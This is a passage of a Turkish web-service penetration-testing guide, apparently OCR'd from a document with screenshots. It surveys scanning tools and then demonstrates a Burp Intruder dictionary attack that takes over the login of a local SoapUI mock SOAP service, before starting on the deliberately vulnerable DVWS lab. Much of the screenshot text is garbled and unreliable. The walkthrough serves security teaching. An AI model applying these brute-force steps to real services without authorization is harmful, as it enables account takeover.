I'E Form —’E 1/O Docs
Basic, NTLM/Kerberos —_—
i_ . Netsparker Session File
{=| Header
. W Owaspzap
Client Certificate
[&] Postman
&8 Smart Card .
© osuth2 =
@ Scan scope rules will be applied to imported lin & OpenhPl (formerly Swagger)
a ‘Web Application Description Language (WADL)
% Web Service Definition Language (WSDL)
¥ WordPress REST API

( REST Web Servis Arayiiziinii / Kapsamini1 Dahil Etme )

Start a New Website or Web Service Scan m] X

Target Website or Web Service URL

http:/fwww.example.com/ - ; Previous Settings | ~
°Option5

Scan Settings A T

"& Eree] 0Add g * Edit 3 Delete & Clear Q Search  Import From File= Enter Links
O scope Method  URL

ﬂb Additional Websites

&L Imported Links (8)
@ URL Rewrite (1)

http://localhost:5000/

Authentication

POST
| 18 Form EOST
P Basic, NTLM/Kerberos GET slimit&marker
GET sllimit&marker

= Header

Client Certificate

© osuth2

@ Scan scope rules will be applied to imported links during the scan.

Manual Crawl o Cancel

( URL Listesi Belirlenmis ve Taramaya Hazir REST Web Servisi Ornegi )
URL listesi belirlenmis rest web servisi bu sekilde taranabilecektir.
ii) Otomatikmen dogrudan url adresi vererek de rest web servisler taranabilmektedir. Eger bu
sekilde rest web servis netsparker tarafindan otomatik tespit edilebiliyorsa rest web servisi bu

sekilde de taranabilir (Not: Netsparker’m demo rest web servisi bu sekilde tespit edilip
taranabilmektedir: http://rest.testsparker.com/)
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iii) Son olarak rest web servise dair bir talep paketi 6rnegin Burpsuite ile alinarak Netsparker’a
Import Links segenegi igerisinde Add ikonundan Raw sekmesine gelerek eklenebilir ve tarama bu
paket tizerinden yiiriitiilebilir.

Start a New Website or Web Service Scan m} X

Target Website or Web Service URL
http://rest.testsparker.com/ - ;ﬂ {E} ((:-) Previous Settings | -

°Opti0n5

Scan Settings

Imported Links

!" General oAdd Edit Delete Clea QSearch Import From File  Enter Links
) Scope
| &% Additional Websites bl ULl
& |mported Links
l_“:; URL Rewrite
g Pre-Request Script

| Shark (IAST)

|  Authentication

i E Form
Basic, NTLM/Kerberos
= Header
| Client Certificate
Smart Card
| € oauthz

¢ Manual @ Scan scope rules will be applied to imported links during the scan.

Crawl and Wait - Cancel

( Ham Http Talebi Yiikleme 1)

Add New Link X

Builder | Raw | Hex View
1 GET / §TTP/1.1
2 Host: fest.testsparker.com
3

Save Cancel

( Ham Http Talebi Yiikleme 2)

Bu metotta raw http paketi alabilmek i¢in web servisi tiikketen / kullanan uygulama gereklidir. Bu
uygulama trafigi wireshark ile dinlenebilir ve web servis web sunucu adresi filtrelemesine giderek
raw http paketler “follow tcp stream” ile elde edilebilir. Boylece ham http paketler Netsparker’a
eklenerek (veya burpsuite’te repeater’a eklenerek ve oradan intruder’a giderek) tarama
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yiirtitiilebilir. Ayriyeten web servisi tiiketen / kullanan uygulama ic¢in proxy ayari girilebilirse
Burpsuite’e gelen paketler Netsparker’a eklenerek tarama yiiriitiilebilir.

Netsparker ile soap ve rest web servis giivenlik testleri pratik uygulamasi bu dékiimanda uygulama
basligi altinda gosterilmistir.

5.24 Postman Yazihimi

Alternatif olarak kolay ve esnek bir kullanim araytiiziine sahip Postman yazilimi ile de web servisi
giivenlik testleri uygulanabilir. Gerek windows gerek linux siiriimii mevcut olan, web api kapsam
formatlarinda yeterince destege sahip, kapsam yiiklemesi sonrasit olusan http paketlerinin bir
siitunda listelendigi ve bu paketlerin kurcalanarak gonderilebilidigi bir aragtir. SOAP i¢in wsdl
kapsam dosyasi, REST i¢in wadl, swagger, ... kapsam dosyalarini destekler.

Postman ile soap ve rest web servis giivenlik testleri pratik uygulamasi bu dékiimanda uygulama
baslig1 altinda gosterilmistir.

5.25 Web Tarayic1 Eklentileri
Cesitli web tarayici eklentileri ile soap ve rest web servis giivenlik denetimleri uygulanabilir.
Ornegin;

- Boomerang Soap and Rest Client (Chrome Eklentisi)

eklentisi yardimiyla hedef web servis soap icin wsdl, ve rest i¢in wadl, swagger,... parse islemi
uygulanabilir ve olusacak 6rnek xml / json talepleri kullanilarak testler yiirtitiilebilir.

Boomerang Soap and Rest Client ile soap ve rest web servis giivenlik testleri pratik uygulamasi bu
dokiimanda uygulama bagligi altinda gosterilmistir.

5.2.6 Wireshark Yazilimi

Web servis testlerinde eger web servis arayiizii / kapsami dosyasi mevcut degilse web servis
gelistiricisinden web servisi tiiketen / kullanan uygulama istenebilir. Kullanilan uygulama masaiistii
uygulama ise uygulamayi kullanirken olusan trafik wireshark ile okunabilir ve web servis web
sunucu adresi filtrelemesine gidilerek “follow tcp stream” ile uygulamanin web servise yaptigi ham
http talepler alinabilir. Bu ham http talepler Burpsuite’te ornegin repeater’a atilarak, veya
Intruder’a gonderilerek testler yiiriitiilebilir veya Burpsuite’te “Do Active Scan” secenegi ile
otomatize agiklik taramasi yapilabilir. Ayrica ham http paketi Netsparker’a veya OWASP ZAP’a
atilarak sadece belirtilen ham paket lizerinden otomatize agiklik taramalari yiiriitiilebilir. Bu
secenek web api kapsam dosyasinin var olmadigi durumlarda kullanilabilecek bir alternatiftir.
Testler wireshark’tan elde edilen kapsam kadar uygulanir.

5.2.7 Proxy Ayari

1) Sistem Proxy Ayar1 Girme Coziimii

Web servisini tiiketen uygulama masaiistii uygulama oldugu zaman ve web servis kapsam
dokiimanina sahip degilsek kapsam elde edebilmek icin Windows, Linux veya MacOS isletim
sistemlerinde sistem proxy ayari localhost:8080 girilebilir ve Burpsuite localhost 8080’de
calistirlabilir. Sistemdeki tiim internet trafigi ilireten yazilimlarin trafigi Burpsuite ekranina
distiigiinde iglerinden web servis sunucusuna giden trafik filtrelenebilir ve o paketler iizerinden (o
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kapsam iizerinden) testler yiiriitiilebilir. Testler elde edilen kapsam kadar uygulanir.

i) /etc/hosts veya C:\Windows\System32\drivers\etc\hosts Dosyas1 Coziimii

Web servisini tiiketen masaiistli bir uygulama oldugu zaman ve web servis kapsam ddkiimanina
sahip olmadigimiz zaman kapsam elde edebilmek i¢in hosts dosyasina web servis sunucu adresi ve
karsiliginda localhost girilebilir;

hosts:

webapidomainaddress.com localhost

ardindan burpsuite localhost’ta ¢alistirilarak tiiketicinin paketleri (kapsam) elde edilebilir. Bu islem
icin linux sistemlerde /etc/hosts dosyasit yukaridaki gibi diizenlenir, windows sistemlerde
C:\Windows\System32\drivers\etc\hosts dosyas1 yukaridaki gibi diizenlenir. Testler elde edilen
kapsam kadar uygulanir.

5.3 Web Servisler Nasil Test Edilir ( Uygulamali Gosterim )
Bu baglik altinda web servis / web api giivenlik testleri yapan baglica araclarin demo’lari
gosterilecektir.

5.3.1 SoapUI Yazilimi
Bu uygulamada SoapUI kullanilarak SoapUI tutorials’lardaki demo bir soap web servisi projesi
acilacaktir ve bu soap web servise giivenlik testi uygulama 6rnegi gosterilecektir.

Kullanilan Materyaller

Ubuntu 18.04 LTS /I Fiziksel Makine
SoapUl v5.6.0 /' Web Servis Test Yazilimi
Burpsuite // Proxy Yazilimi

Not: Ubuntu 18.04 LTS’ye SoapUI kurulumu i¢in bkz. SoapUI Web Servis Giivenlik Testi
Yazilimini Linux’a (Ubuntu 18.04 LTS’ ye) Kurma.

Not 2: Ubuntu 18.04 LTS’ye Burpsuite kurulumu i¢in bkz. Burpsuite’i Linux (Ubuntu
18.04 LTS) Sisteme Kurma

SoapUI yazilimini baslatalim.
/I SoapUI Calistirma
Ubuntu 18.04 LTS Terminal:

>cd SoapUI-5.6.0/bin/
> ./SoapUI-5.6.0
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SoapUI’de tutorials olarak verilen demo soap web servisi projesini SoapUI proje import’tan
ekleyelim ve soap web servise bir sizma testi uygulamasi yapalim.

SOAP Ornek Web Servisi SoapUI Proje Dosyas1 Konumu: /SoapUI-Tutorials/

flo Project Sute Case Step Tods Deskop Hew
+ @ g
Ll B B R X F T @ o &4 Search Forum a ®
Gmpy SO REST mpot SeeAl Foum Tl Praferences eromy onine Hlp
“ = Soapul start Page 4 4 FEE|
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Q0 E D

popular
3 WSoLW

ple-SOAP Project soaputproject.mmi

Sarmple S0% Project saapurproject xml

| 3
L
©
(6)
(©)

Import ile soapui proje dosyasi yiiklenir ve 6rnek soap web servisi arayiizii / kapsami sol siitunda
listelenir.
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Bu uygulamada hedef soap web servisini canli hale (calisir hale) getirmek i¢in localhost’ta bir web
sunucu ayaga kaldirilmas1 gerekmektedir. Normal sartlarda buna gerek olmayacaktir. Ciinki
normal sartlarda hedef web servisi uzak bir yerden zaten g¢alisir olacaktir. Bu normal duruma gore
ekstra konumundaki adim ile demo soap web servisi localhost’ta ayaga kaldirilir. Bunun i¢in sol
siitunda sirali segeneklerden “ServiceSoapBinding MockService”e ¢ift tiklanir ve MockService’i
baslatilir.

- ServiceSnapBinding MockService
pu=a 0

Tap.wm ]

# 1 Epanded Testsute
=+ senveeseapanding Macksenace

Seareh Forum

mzo running an part 8008 | I o

Gperations
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Boylece gonderecegimiz drnek xml talepleri hedefine gidebilecektir ve yanit alinabilecektir. Simdi
demo soap web servisi teste hazirdir. Sol siitunda sirali 6rnek xml taleplerinden login parametreli
olani gonderelim ve yanit1 gdzlemleyelim.

E

ute Caze Stap Jooks Qeskicp Help

de Project S
E B @ * g ©
soar

¥ . Search Forum a
REST inpot SaveAl Forum Tnal Preferences Prowy

o
Onine Help
1 loginrq o ine
R retp

9 @@

b)

€ P ——— [P ———,

Gl
&

Ornek Xml Taleplerinden Biri Segilir

Step Tools Desitop Heb

S @ & & | Ee—— Saarch Forum a

°
Forum  Tr Oonine Help

Lol

ovedsn

4
N

request response

e 00

Headers (3) Attachments (0)

Secilen Xml Talebi Soap Web Servise Gonderilir ve Yanit Alinir

Bu xml talep paketinde bir login olma istegi yapilmaktadir. Kullanici adi ve parola bilgisi talep
paketinin gévdesinde xml node’lar1 halinde gonderilmektedir. Gelen yanit ise oturumun agildigina
dair session id’nin yanit paketi govdesinde xml node’lar1 halinde gelmesidir.

Login mekanizmasini test etmek maksatli login olma istegi olan talep paketindeki xml
node’larindan parola bilgisini gecersiz bir parola yapalim ve talep paketini tekrar gonderelim.

Step ool Desitop

Ble Project Sute Case

E B @ X a T &
Empty S0AP REST impot SaveAl Farum  Tral  Profersnces  Pr

telp

Search Forum -

wmagsn

response

nif | L i

AR Headers (Q) Attachments (0) WS4 WSAM Headers (5) Attachments (0)
raspansa tme, 15ms (368 ytes) 11
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Goriildiigii gibi girilen kullanic1 bilgileri gegersizdir yaniti soap web servisten yanit olarak
gelmistir. Bu sekilde talep paketinin gévdesindeki xml node’lar1 kurcalanarak veya url’inde var
olabilecek parametreler kurcalanarak gelen yanit paketleri incelenebilir ve giivenlik testleri
yiiriitiilebilir.

Ayrica SoapUI'nin sundugu proxy ayart kullanilarak paketler Burpsuite proxy’sine
yonlendirilebilir ve Burpsuite’te otomatize daha detayli giivenlik testleri uygulanabilir. Ornegin
login istegi olan xml talep paketi i¢in proxy ayart ile Burpsuite’e alinabilir ve paketin gévdesindeki
ilgili xml node’lar1 Intruder’da isaretlenerek brute force ve dictionary saldirisi diizenlenebilir.
Boylece ormek xml talebi login istegi paketi ile bir soap web servisine brute force / dictionary
saldiris1 yapilabilir ve hesap ele gecirilebilir. Bu 6rnegi gergeklemek igin SoapUI’deki gonderilen
paketleri Burpsuite’e yonlendirelim.

Oncelikle SoapUI’nin SoapUI->File-Preferences->Proxy settings-> seceneklerine gidilir ve
SoapUI’de proxy ayan girilir.

Search Forum

soraadsu

504 Project Care
cesoapaindng

slresdy Togged dnersan-Tonin|

Exngd

H

jsat
Jsat

Proparty Value !

7

=1l
75 ereommeasmarrmemmrrm——————

SoapUI Proxy Ayan Girilir

Not:

Proxy ayar1 8082 girilir, ¢iinkii 8080’de localhost’ta ayaga kaldirilan tutorials’daki

demo soap servisi ¢aligmaktadir.

se Step Tools D

2 2w o@E e a@\ \/ R - @

are slresdy Logged in</sue:oginf

: no) « po)
Adth Headers (0) Attachments (0) WSA WSRM Headers (5) Attschments (0)

response tee: 20ms (382 bytes) 1:1
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( SoapUI ‘de Proxy Ac¢ik Durumdadir )

Ardindan Burpsuite yazilimi localhost 8082’de caligtirtlir. Boylece SoapUI arayiiziinden login
istegi yapan xml talep tekrar gonderildiginde paketi Burpsuite yakalar.

Simdi login olma istegi paketini gecerli hesap bilgileriyle gonderdigimizde gelen yanit paketini
Burpsuite repeater’dan gorelim.

Not:

Gegerli hesap bilgileriyle proxy ayari girmeden Once talep paketi gonderildiginden
localhost’ta ayaga kaldirilmis web sunucuda oturum agiktir. Bu nedenle xml login istegi
talep paketi repeater’dan gonderildiginde ve yanit paketine bakildiginda sessionID gelmesi
yerine zaten oturum agik yanit mesaji gelecektir. Bu nedenle localhost’ta ayaga
kaldirdigimiz web sunucuyu SoapUI sol siitundan “ServiceSoapBinding MockService”e
cift tik yapip restart’layarak login istegi xml talebini tekrar gonderdigimizde oturumun yeni
acilisinda gelen yanit paketini gorebiliriz.
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| Burp Sui
| Burp Intruder Repeater Window Help

Community Edi

emporary Project

| [Target | ro | spider | scanner | intruder | Repeater | sequencer | Decoder | comparer | Extender | Project options | User options | Alerts

Tz s ]

Go

Request

Cancel <|v >|v

Raw | Params | Headers | Hex | xmL

POST /mockServiceSoapBinding HTTP/1.1

Target: http://127.0.0.1:8088 E’J @

Response

Raw | Headers | Hex | xML

Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK

>

T
Content-Type: text/xml; charset=utf-8 r
Content-Type: text/xml;charset=UTF-& Content-Length: 273
SOAPACction ‘ttp://www.soapul.org/sample/Login" Connection: close
| Content-Length: 276 Server: Jetty(6.1.26)
Host: 127.0.0.1:8088
User-Agent: Apache-Httpclient/4.5.5 (Java/11.0.11) <soapeny:Envelope
Connection: close xmilns: soapenv="http: //schemas. xmlsoap. org/soap/envelope/
*mlns : sam=" http: / /et . SOZPUL . OFg/samp e /M=
<soapenv:Envelope
xmlns:soapenv="http: //schemas. xmlsoap.org/soap/envelope/
xmlns:sam="http:/ /www. soapui .org/sample/ "> <sam: LoginResponses
<soapenviHeader/> =s25510n1 d>570043114962659</5es510n1d>
<soapenv:Body> rean Tooimesponses
<sam: Login= </s0apen
<usernamesLogin</username= </soapeny
<password=Login123</passward=
</sam: Login>
</soapenv:Bady=
</soapenv:Envelope>
b ke
v v
0 matches ? 0 matches
Done

Burp Suil
Burp Intruder Repeater Window Help

Community Edition v

394 bytes | 17 millis

‘emporary Project

Target | Frox | spider | Scanner | intruder | Repester | Sequencer | Decoder | Comparer | Extender | project options | User options | Alerts

(L2l

Go > Target: http://127.0.0.1:8088 LIJ uj
Request Response
Raw | Params | Headers | Hex | XML

POST /mockServiceSoapBinding HTTP/1.1

Raw | Headers | Hex | XML

HTTP/1.1 200 Ok

Accept-Encoding: gzip, deflate

Cantent-Type: text/xml;charset=UTF-8
SOAPACtion: *http: //www.soapui.org/sample/login®
Content-Length: 283

Host: 127.0.0.1:8088

User-Agent: Apache-HttpClient/4.5.5 (Java/11.0.11)
Connection: close

<soapenviEnvelope

xmlns:soapenv="http://schemas. xrilsoap.org/soap/envelope,”
xmlns:sam="http: //wuw. soapui .org/sample/" >
<soapenv:Header />

Content-Type: text/xml; charset=utf-8
Content-Length: 368

Connection: close

Server: Jetty(6.1.26

T

<soapenv; Envelops

xmlns: soapenv="http://schemas.xmlsoap. org/s0ap/envelope/*
xmlns:sam="http: //www.soapui .org/sample/ >
<soapenv;Body>

<soapenv:Faults

Donen pakette sessionid xml node’u yer almaktadir. Yani session gelmektedir. Gegersiz bir hesap
ile talep paketini gonderdigimizde ise gelen yanit paketini gérelim.

<faultcode=Client=/faultcode=

<faultstringsInvalid Login</faultstrings
etails T

<soapenv:Body>
<sam: Login=
<username>Login</username>
<password=Login123- 324324</password>
</sam: login>
</s0apeny : Body>
</soapenv:Envelope=

<sam: LoginFault>The login credentials are invalid</sam:loginFault>
</detail>

</s0apen
</s0apen
</soapenv

:Fault>
Body>
relope>

e | =
L] v
CIEEER ] e

0 matches
Done

489 bytes | 20 millis

Donen pakette gecersiz hesap bilgisi hatasi yer almaktadir. Buradaki hata ifadesini brute force /
dictionary saldirisinda flag (bayrak) olarak alabiliriz ve denenen olas1 hesaplardan basarisiz olanlar

bu flag’i (bayragi) tick’lesin, basarili olan ise bu flag’i (bayragi) tick’lemesin yapabiliriz. Bu
sekilde denenen gecerli hesap bilgisi ele gegirilebilecektir.

Repeater’daki login olma istegi paketini Intruder’a yollayalim ve paketin gdvdesindeki kullanici
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adi ve parola xml node’larmi brute force / dictionary denenecek yerler olarak isaretleyelim.

Burp Suite Community Edition v1.7.36 - Temporary Project

Burp Intruder Repeater Window Help

Target | proxy | spider | scanner [intruder | Repeater | sequencer | Decoder | comparer | Extender | project options | User options | Alerts

[ Jeul.]
Target [ positions | Payloads | options

(2) Payload Positions T o
Configure the positions where payloads will be inserted into the base requast, The attack type determines the way in which payloads are assigned to payload
positions - see help for full details.
Attack type: | Cluster bornb v
POST /mockServiceSoapBinding HTTP/1.1 I Adds
Accept-Encoding: gzip, deflate r
Content-Type: text/xml;charset=UTF-g Clear s
SOAPAction: "http://www.soapui.org/sample/login®
Content-Length: 283 Auto §
Host: 127.0.0.1:8088
User-Agent: Apache-Httpclient/4.S.5 (Java/11.0.11) Refresh
Connection: close
<soapenv:Envelope xmlns:soapenv="http: //schemas.xmlsoap.org/soap/envelope/" xmlns:sam="http: / /v, soapui.org/sample/ "=
<soapenv:Header />
<soapeny:Body=
<sam: Login=
<username=§Logins</username>
<password>§Loginl23- 3243245 </passwords &
</sam:login>
</soapeny :Body>
</soapenv:Envelope>
b
v
7 < + > | [Type a search term 0 matches Clear
2 payload positions Length: 562

Ardindan iki adet olasiKullaniciAdlari.txt ve olasiParolalar.txt dosyasi olusturalim ve iglerine
rastgele kullanici adlar1 ve parolalar ile dolduralim. olasiKullaniciAdlari.txt dosyasinda bir

kullanict adint dogru girelim: Login. olasiParolalar.txt dosyasinda da bir parolayr dogru girelim:
Login123.

olasiKullaniciAdlari.txt

deneme
abc
Xyz

Login // Dogru Olan
qwerty

olasiParolalar.txt

parolaml
pass123
parolal2*

Login123 // Dogru Olan
denemel23

Isaretli alanlara payload’lar1 koyalim ve ardindan yanlis hesap bilgisi denendiginde gelen hatay:
flag yapalim.
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Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner [intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts

LRl

Target | Positions | Payloads | Options

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. various payload types are
available for each payload set. and each payload type can be customized in different ways.

Payload set: [1 ||  Payload count: 5 _&

Payload type: | Simple list \v]  Request count: 0

w Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste deneme

—— Jabc
Load .. | |z

Login o

Remove | | querty

Clear
Add

Add from list ... [Pro version only]

er 3 new item

w Payload Processing

ou can define rules to perform various processing tasks on each payload before it is used.

Add

Enabled | Rule

Edit

Remave >

Up

i

| Down

(»] Pavload Fncadina

- N
start attack | T

Olas1 Kullanic1 Adi Listesi Birinci Payload Olarak Belirlenir 7

Burp Suite Community Edition v1.7.36 - Temporary Project

Burp Intruder Repeater Window Help

Target | prowy | Spider [ Scanner [ intruder | Repeater | Sequencer | Decoder | comparer | Extender | Project options | User options | Alerts

-

Target Pnslt\unsIPaMuads Options

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are
available for each payload set, and each payload type can be customized in different ways.

Payload set: |2 ¥] Payload count: 5 e

Payload type: | Simple list |*]  Request count: 25

Payload Options [Simple list]

=

This payload type lets you configure a simple list of strings that are used as payloads.

Paste parclaml

pass123
Load ... parolal2*

— |Login123 o
Remove | | genemel23

Clear
Add Ent

Add from list ... [Pra versien anly]

3 new item

Payload Processing

)]

You can define rules to perform various processing tasks on each payload before it is used

Add

Enabled | Rule

Edit
Remove 3

Up

0

| Down

(») Pavload Fncodina

N

Start attack | T\

T

Olas1 Parolalar Listesi Ikinci Payload Olarak Belirlenir
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Burp Suite Community Edition 6 - Temporary Project

Burp Intruder Repeater Window Help

1 [Target T Proxy T Spider I Scanner Tlnlruder T Repeater T Sequencer I Decoder T Comparer T Extender T Project options I User options TA\ens ]

[l

[Target T Positions TPayhads T(}p(mns }

o3

@ Attack Results

2 These settings control what information is captured in attack results,

M store requests

¥ Store responses

@) Make unmodified baseline request

[ Use denial-of-service mode (no results)
[ store full payloads

(@) Grep -Match

2 These settings can be used to flag result items containing specified expressions

[ Flag result items with responses matching these expressions:

Paste Invalid Login
Load ...
_Remove | "
_ Clear

Add Invalid Login
Match type: @ Simple string
O Regex

[ case sensitive match
M Exclude HTTP headers

2| Grep - Extract
@ These settings can be used to extract useful information from responses into the attack reslts table

[ Extract the following items from responses:

Add | ‘

L

Gegersiz Kullanici Hesab1 Denemelerinde Invalid Login bayragi Tick’li Olsun Denir

Burp Suite Community Edition v1. Temporary Project

Burp Intruder Repeater Window Help

| [Targe( T Proxy T spider I Scanner Tlnlruder T Repeater T Sequencer T Decoder I Comparer T Extender T Project options T User options TA\ens ] I
>
Target | Positions | Payloads [ Options

@ Request Headers

- X
start attack | T\

These settings control whether Intruder updates the configured request headers during attacks.

©

[ update Content-Length header
@ set Connection: close

Request Engine

These settings control the engine used for making HTTP requests when performing attacks.

&=

Note: Some of these options are not available in the Community Edition of Burp.

Number of threads 1
Number of retries on network failure: 3
Pause before retry (miliseconds): 2000
Throttle (milliseconds): Fix 0
ariable: start |0 step 20000

Start time @® immediately

Qin 10 minutes

O Paused

Attack Results

These settings control what information is captured in attack results.

2
©

) store requests

¥ store responses

[ Make unmodified baseline request

[0 use denial-of-service mode (na results)
[ store full payloads

Grep - Match

<’

—._These settinas can he used to flaa result items contai

ina_snecified

Saldirt Baglatilir
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Burp Intruder Repeater Window Help

[Target T Proxy T Spider Tscanner I Intruder I Repeater T Sequencer T Decoder T Comparer I Extender I Project options T User options TA\ErtE ]

[ Janl]

Intruder attack 1 o
Target | Positiond

Attack Save Columins
| a
@ Request b (Results | Target uusmns]uay\uads Options Start attack | T
These settin
] ‘F\Iter Showing all iterns ‘w
) Update €
& et cong LREAUESE ¥ Payloadl | Payload2 |status  |Error | Timeout |Length  |Invalid Login | Comment
et Conp — =
21 deneme deneme123 200 [|] [m] 489 [} 0
|20 qwerty Login123 200 [w] [m] 489 e} 13
@ Request E| 19 Login Login123 200 O ) soz a é
— xyz Login123 200 O O as9 ™
@ These settin| |7 abe Login123 200 8] O ass ]
Note: somd| 16 deneme Login123 200 g g 489 e}
15 querty parolal2* 200 o [} ]
Number of | X4 Login parolalz* 200 Q Q 489 W
13 xyz parolal2* 200 [m] [ as9 ]
Number of i| 12 abc parola12* 200 o O as9 ]
1 deneme parolalz® 200 [m] [m] 489 ] 5
1 owerty. nass123 200 n M asa ] L
Pause befor 13 -
Throttle (mil_| Request | Response
Raw | Headers | Hex | XML
HTTP/1.1 200 OK ]
Start time: Content-Type: text/xml; charset=utf-g i
Content-Length: 382
Connection: close
Server: Jetty(6.1.26)
~ <soapenyv:Envelope xmlns:soapenva'http://schemas. xmlsoap.org/soap/envelopes” -
xmilns:sam="http: //www . s0apui . org/sample /">
@ Attack R€ <soapenv:Body>
These settin <S0apenv:Fault>
(¢ <faultcode>Client</faul tcode>
) Store re¢ <faultstring=Already Login</faultstring= .
2details
) storerec [, - =
2 + | [ = | |7vpe 2 search term 0 matches
@ e o] 220 ] ) ()
= B i
[ Use deni M1SM2d - -
(] store full payloads
w Grep - Match L
. These settinos can he used ta flan result items containing snecified exn _ _ L4

Saldir1 Sonlanir
Saldir1 tamamlandiginda goriildiigii gibi bir hesap ele gegecektir:

Kullanic1 Adi: Login
Parola: Login123.

Sonug olarak SoapUI yaziliminda demo bir soap web servisin arayiiziinii / kapsamini kullanarak bir
xml talebini inceledik ve xml talep paketini Burpsuite’e yonlendirerek hedef demo soap web
servisin login noktasina sozlikk saldirist (sifre kirma saldiris1) diizenledik. Bu sekilde soap web
servise ait bir hesap ele gecirmis olduk.

Uyart:

Demo soap web servisi tasarimi geregi bazi gecersiz hesap denemelerinde oturum agmis
goriinmektedir. Bu 06rnek olarak tasarlanmis soap web servisin yapisindan
kaynaklanmaktadir ve brute force / dictionary ile hesap ele gegirme konseptinde
olundugundan ona deginilmemistir.

Bu uygulamada oldugu gibi web servislerine giden talep paketlerinin paket basliklari, paket
govdesindeki xml node’lar1, ve url’deki parametreler kurcalanarak web servislerine saldir testleri
uygulanabilir.
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5.3.2 Burpsuite Yazilimi

5.3.2.1 Burpsuite ile SOAP Web Servis Testi
Bu uygulamada burpsuite’in “wsdler” eklentisi yardimiyla dvws isimli kasith zafiyetler iceren soap
web servisinin bir agiklik barindiran u¢ noktasi (endpoint’ti) test edilecektir.

Kullanilan Materyaller
Ubuntu 18.04 LTS /I Fiziksel Makina
Burpsuite, Wsdler Plugin // Giivenlik Testi Aract
DVWS - Windows 10 Home Premium Il Zafiyetli Web Servisi VM

Not: Kasitli zafiyetler iceren DVWS web servisi eski kaldigindan sadece eski php
versiyon 5.5.38de servisleri diizgiin ¢alisir durumdadir.

Not 2: Ubuntu 18.04 LTS’ye Burpsuite kurulumu i¢in bkz. Burpsuite’i Linux (Ubuntu
18.04 LTS) Sisteme Kurma

Not 3: Burpsuite’e WSDLER eklentisi kurmak igin bkz. Burpsuite’e WSDLER Eklentisini
Kurma.

Not 4: DVWS kasith zafiyetler igeren web uygulamasinin Windows 10 Home Premium’a
kurulumu i¢in bkz. EK > DVWS Web API'yi Windows’a (Windows 10 Home Premium

Strimiine) Kurma.

Hedef giivenlik agiklikli dvws web servisinin ilgili sayfasina bir gz atalim.

¢ SQm:

WSDL Enumeration

More Information

B
=
4
¥
=/
B
L
©
(a)

B
|

DVWS’nin bu sayfasinda ug¢ noktada yer alan soap web servisin WSDL dosyasinin elde edildigi
varsayllmaktadir. Bu varsayima gore sayfada sunulan WSDL dosyasimi alacagiz. Ardindan
Burpsuite’e Wsdler eklentisi yardimiyla hedef dvws soap web servisinin arayiiziinii / kapsamini
yiikleyecegiz. Bu sekilde 6rnek xml talepleri elde edecegiz ve bu talepleri glivenlik testi amaciyla
kullanacagiz.

Simdi dvws web servisi trafigini Burpsuite lizerinden gegirelim ve hedef soap web servisinin wsdl
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dosyasini barindirdigi url’yi ziyaret edip paketi burpsuite’te yakalayalim.

& iszienosy B o ° =

WSDL Enumeration

oL -

More Information

Sartphone 05 Mke! Share

WSDL Dosyas1 URL’si Paylagimi

Activities  *» Firefox Web Browser ¥ Paz 14:02
E < 192.168.0.37/dvws/vuln: x [RCEIEEHRE

9 (3 X @ O & 192.168.0.37/dvws/vulnerabilities/wsdlenum/service.f

*\ This XML file does not appear to have any style information iated with it. The d tree is shown below.

C, —<definitions targetNamespace="dvwa:webservice">
—<types>
—<xsd:schema target! P d :wel ice">
<xsd:import namespace="http://schemas.xmlsoap.org/soap/enceding/"/>
<xsd:import namespace="http://schemas.xmlsoap.org/wsdl/"/>
</xsd:schema>
<[types>
—<message name="Return_priceRequest">
<part name="name" type="xsd:string"/>
</message>
—<message name="Return_priceResponse">
<part name="return" type="xsd:float"/>
<[message>
—<message name="check user idRequest">
<part name="username" type="xsd:string"/>
</message>
—<message name="check user idResponse">
<part name="return" type="xsd:string"/>
</message>
—<message name="PopulationRequest">
<part name="value_one" type="xsd:string"/>

Ao BE D

<[message>
— name="Populati ">
<part name="return" type="xsd:integer"/>
</message>

—<portType name="DVWA Web Service PortType'">
—<operation name="Return price">
<input message="tns:Return_priceRequest"/>
<output message="tns:Return priceResponse"/>
</operation>
—<operation name="check user id">
<input message="tns:check user idRequest"/>
<output message="tns:check user idResponse"/>
</operation>
—<operation name="Population">
<input message="tns:PopulationRequest"/>
<output message="tns:PopulationResponse"/>
</operation>
</portType>
—<binding name="DVWA Web Service Binding" type="tns:DVWA Web Service PortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
—<operation name="Return_price">
<soap:operation soapAction="http://192.168.0.37/dvws/vulnerabilities/wsdlenum/service. php/Return_price" style="rpc"/>
192.168.0.37

[l &« ® © & ®

Hedef Web Servisi Arayiizii / Kapsami1 Dosyasi
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9 ) -~ i

—<types>

i T sty [web8ockas sty | Options |

(#) Request to httpunsz 15003780

i “hitp:#isch - .
</xsd:schema> e | Pararms | Haaders | rex
<[types> d e rabi 1 tams, wedlenun/serv
~<message name="FReturn _priceRequest™> 690
<part name="name" type="xsd:string"/>
</message>
- <message name="Returm priceResponse”>

mlsoap.orgisoap | ronard | [ orep [ ieresptis on Acton
I dl

WpTwsdl HITR/L.1 T

Ulass.0 (x11; Linux xB6_64; rv:91.0) Gecko/20100101 Firsfou/91.0
L, applicati onahtmlexsl, appli cation xml; q=0.5, i nage/webp, * 3 q=0.5
en LS, an;q=0.5
daf Late

<part name="return’ type="xsd:float"/> e vulnerabi Lities wadLenum
</message> Conr ion: cl
Pl - <message name="check user idRequest’> Upgr ade- Insecure- Requests: 1
<part name="username" type="xsd:string’/> Cache:Cantrol: mar-age=0
</message>
—<message name="check user idResponse”>
<part name="return" type="xsd:string"/>
P cmessare>
~<message name="PopulationRequest">
<part name="value_one" type="xsd:string"/>
™ </message>
~<message name="PopulationResponse*>
o <part name="return" type="ysd:intager’ />
</message>
Bl <portType name="DVWA Web Service PortType">
(@) ~<operation name
<input message="
4 <output message="ins:Return_priceRespon:
<joperation>
] —<cromtion name=check user ">
<input message="tns:check user idRequest’/>

<output message="tns:check user ldResponse’/>
</operation>

Population”>
ns:PopulationRequest'/>
'tns: PopulationResponse”/>

<output message

<joperation>
</portType>
~<binding name="DVWA Web Service Binding” type="tns:DVWA
“rpe* *h hemas. xmlsoz .
~<operation name="Return price"> = s
